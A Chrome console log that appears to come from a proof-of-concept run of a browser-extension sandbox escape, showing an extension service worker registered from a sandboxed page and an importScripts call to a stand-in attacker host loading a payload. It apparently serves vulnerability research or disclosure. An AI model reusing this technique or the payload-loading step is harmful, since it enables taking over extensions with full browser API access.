[32032:32032:0403/001636.559298:INFO:CONSOLE:2] "[POC-LAUNCHER] index.html loaded, origin=chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/index.js (2) [32032:32032:0403/001636.627568:INFO:CONSOLE:0] "Error while parsing the 'sandbox' Content Security Policy directive: 'x' is an invalid sandbox flag.", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sandbox.html (0) [32032:32032:0403/001636.628597:INFO:CONSOLE:0] "Error while parsing the 'sandbox' Content Security Policy directive: 'x' is an invalid sandbox flag.", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sandbox.html (0) [32032:32032:0403/001636.628825:INFO:CONSOLE:0] "An iframe which has both allow-scripts and allow-same-origin for its sandbox attribute can escape its sandboxing.", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sandbox.html (0) [32032:32032:0403/001636.662844:INFO:CONSOLE:27] "[POC-SANDBOX] === STAGE 1: ORIGIN CHECK ===", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sandbox.html (27) [32032:32032:0403/001636.663110:INFO:CONSOLE:27] "[POC-SANDBOX] location.origin = chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sandbox.html (27) [32032:32032:0403/001636.663364:INFO:CONSOLE:27] "[POC-SANDBOX] location.href = chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sandbox.html", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sandbox.html (27) [32032:32032:0403/001636.663689:INFO:CONSOLE:27] "[POC-SANDBOX] *** STAGE 1 PASS: non-opaque chrome-extension origin ***", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sandbox.html (27) [32032:32032:0403/001636.663875:INFO:CONSOLE:27] "[POC-SANDBOX] (sandbox CSP header was applied but kOrigin was cleared)", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sandbox.html (27) [32032:32032:0403/001636.667059:INFO:CONSOLE:27] "[POC-SANDBOX] === STAGE 2: SERVICE WORKER REGISTRATION ===", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sandbox.html (27) [32032:32032:0403/001636.670134:INFO:CONSOLE:27] "[POC-SANDBOX] navigator.serviceWorker is exposed (CanAccessServiceWorkers passed)", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sandbox.html (27) [32032:32032:0403/001636.880452:INFO:CONSOLE:0] "Error while parsing the 'sandbox' Content Security Policy directive: 'x' is an invalid sandbox flag.", source: (0) [32032:32032:0403/001636.886514:INFO:CONSOLE:0] "Error while parsing the 'sandbox' Content Security Policy directive: 'x' is an invalid sandbox flag.", source: (0) [32032:32032:0403/001636.892372:INFO:CONSOLE:30] "[POC-SW] === STAGE 3: SERVICE WORKER CSP CHECK ===", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js (30) [32032:32032:0403/001636.893136:INFO:CONSOLE:31] "[POC-SW] self.location.href = chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js (31) [32032:32032:0403/001636.893646:INFO:CONSOLE:32] "[POC-SW] self.location.origin = chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js (32) [32032:32032:0403/001636.894735:INFO:CONSOLE:33] "[POC-SW] self.registration.scope = chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js (33) [32032:32032:0403/001636.903645:INFO:CONSOLE:40] "[POC-SW] SW origin is NON-OPAQUE chrome-extension://", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js (40) [32032:32032:0403/001636.912077:INFO:CONSOLE:62] "[POC-SW] eval() blocked: EvalError: Evaluating a string as JavaScript violates the following Content Security Policy directive because 'unsafe-eval' is not an allowed source of script: script-src 'self' 'wasm-unsafe-eval' 'inline-speculation-rules' http://localhost:* http://127.0.0.1:*". [32032:32032:0403/001636.915898:INFO:CONSOLE:63] "[POC-SW] (kMinimumMV3CSP was appended -- bug not triggered)", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js (63) [32032:32032:0403/001636.916206:INFO:CONSOLE:74] "[POC-SW] === STAGE 4: REMOTE importScripts() ===", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js (74) [32032:32032:0403/001636.916414:INFO:CONSOLE:76] "Loading the script 'http://attacker.test:29999/payload.js' violates the following Content Security Policy directive: "script-src 'self' 'wasm-unsafe-eval' 'inline-speculation-rules' http://localhost:* http://127.0.0.1:*". Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a fallback. The action has been blocked.", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js (76) [32032:32032:0403/001636.916727:INFO:CONSOLE:76] "Loading the script 'http://attacker.test:29999/payload.js' violates the following Content Security Policy directive: "script-src 'self'". Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a fallback. The action has been blocked.", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js (76) [32032:32032:0403/001636.917869:INFO:CONSOLE:86] "[POC-SW] importScripts blocked: NetworkError: Failed to execute 'importScripts' on 'WorkerGlobalScope': The script at 'http://attacker.test:29999/payload.js' failed to load.", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js (86) [32032:32032:0403/001636.926976:INFO:CONSOLE:97] "[POC-SW] install event -- skipping waiting", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js (97) [32032:32032:0403/001636.928871:INFO:CONSOLE:27] "[POC-SANDBOX] *** STAGE 2 PASS: SW registered, scope=chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/ ***", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sandbox.html (27) [32032:32032:0403/001636.930065:INFO:CONSOLE:27] "[POC-SANDBOX] (browser-side Register() Mojo handler accepted from sandboxed frame)", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sandbox.html (27) [32032:32032:0403/001636.961023:INFO:CONSOLE:27] "[POC-SANDBOX] SW is ready (active controller for chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/)", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sandbox.html (27) [32032:32032:0403/001636.961187:INFO:CONSOLE:102] "[POC-SW] *** STAGE 5: SW ACTIVE at scope chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/ ***", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js (102) [32032:32032:0403/001636.964876:INFO:CONSOLE:103] "[POC-SW] *** This SW now intercepts ALL chrome-extension:/// requests ***", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js (103) [32032:32032:0403/001636.965087:INFO:CONSOLE:104] "[POC-SW] *** Synthesized responses execute with full chrome.* API access ***", source: chrome-extension://jgpfbfoeagcebpgimbbgpohkkdmbilnh/sw.js (104)